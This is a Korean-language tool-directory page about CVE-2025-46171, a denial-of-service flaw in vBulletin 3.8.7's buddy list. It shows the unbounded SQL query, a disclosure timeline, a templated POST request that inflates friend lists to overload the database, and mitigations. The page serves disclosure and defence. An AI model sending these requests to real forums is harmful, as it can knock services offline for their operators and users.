Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-46171 — vBulletin 3.8.7 친구 목록의 서비스 거부(Denial of Service) 취약점 분석 | Kitploit
도구/GitHubGitHub/oiyl/cve-2025-46171
Vulnerability AnalysisWeb Application ExploitationPenetration TestingMisconfigurationDatabase SecurityArchived
GitHuboiyl/cve-2025-46171

CVE-2025-46171

vBulletin 3.8.7 친구 목록의 서비스 거부(Denial of Service) 취약점 분석

저장소 보기
41년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

vBulletin 3.x.x - 친구 목록 과부하를 통한 DoS

요약

/misc.php?do=buddylist 엔드포인트는 모든 친구의 사용자 및 세션 정보를 가져와 온라인 상태를 확인하기 위해 단일 대규모 JOIN 쿼리를 실행합니다. 이 쿼리는 페이징이나 결과 제한 없이 전체 친구 목록을 처리하므로, 목록이 커질수록 리소스를 과도하게 소비하여 데이터베이스에 과부하를 유발할 수 있습니다.

이 문제는 쉽게 악용할 수 있으며 최소한의 설정만으로 가능합니다. 기본 사용자 계정 외에 특별한 권한이 필요하지 않습니다. 친구 목록을 부풀리기만 하면 데이터베이스에 심각한 부담을 줄 수 있습니다.

영향을 받는 버전

  • ✅ 취약점 확인됨: vBulletin 3.8.7

기술 세부 사항

이 SQL 쿼리는 모든 친구의 세션 정보를 조회하여 온라인 상태를 확인합니다. 전체 친구 목록을 처리하고 각 항목에 대해 세션 데이터와 조인하므로 쿼리가 매우 커지고 리소스를 많이 사용하게 됩니다.

root@kitploit:~
$buddys = $db->query_read_slave("
    SELECT
        user.username,
        (user.options & " . $vbulletin->bf_misc_useroptions['invisible'] . ") AS invisible,
        user.userid,
        session.lastactivity
    FROM " . TABLE_PREFIX . "userlist AS userlist
    LEFT JOIN " . TABLE_PREFIX . "user AS user ON (user.userid = userlist.relationid)
    LEFT JOIN " . TABLE_PREFIX . "session AS session ON (session.userid = user.userid)
    WHERE userlist.userid = {$vbulletin->userinfo['userid']}
        AND userlist.relationid = user.userid
        AND type = 'buddy'
    ORDER BY username ASC, session.lastactivity DESC
");

타임라인

  • 2025년 4월 17일: 취약점 발견
  • 2025년 4월 18일: MITRE에 CVE 요청 제출
  • 2025년 5월 29일: CVE-2025-46171 할당
  • 2025년 6월 27일: 공개 공개

악용 방법

대량 친구 추가

/profile.php에 listbits를 POST하여 대량의 친구 목록을 생성할 수 있습니다. 이 작업을 수천 개의 사용자 ID에 대해 반복하여 친구 목록을 부풀릴 수 있습니다.

root@kitploit:~
POST /profile.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

securitytoken=TOKEN
&ajax=1
&do=updatelist
&userlist=buddy
&listbits[buddy_original][USER_ID]=USER_ID
&listbits[buddy][USER_ID]=USER_ID
&listbits[friend][USER_ID]=USER_ID
&listbits[friend_original][USER_ID]=USER_ID
...

영향

대규모 포럼에서는 심각한 쿼리 지연이 발생하거나 MySQL 인스턴스가 중단될 수 있습니다.

완화 방법:

  • 요청당 검색되는 친구 항목 수에 페이징 또는 제한 적용
  • 친구 목록 수정에 속도 제한 및 유효성 검사 적용
도구 다운로드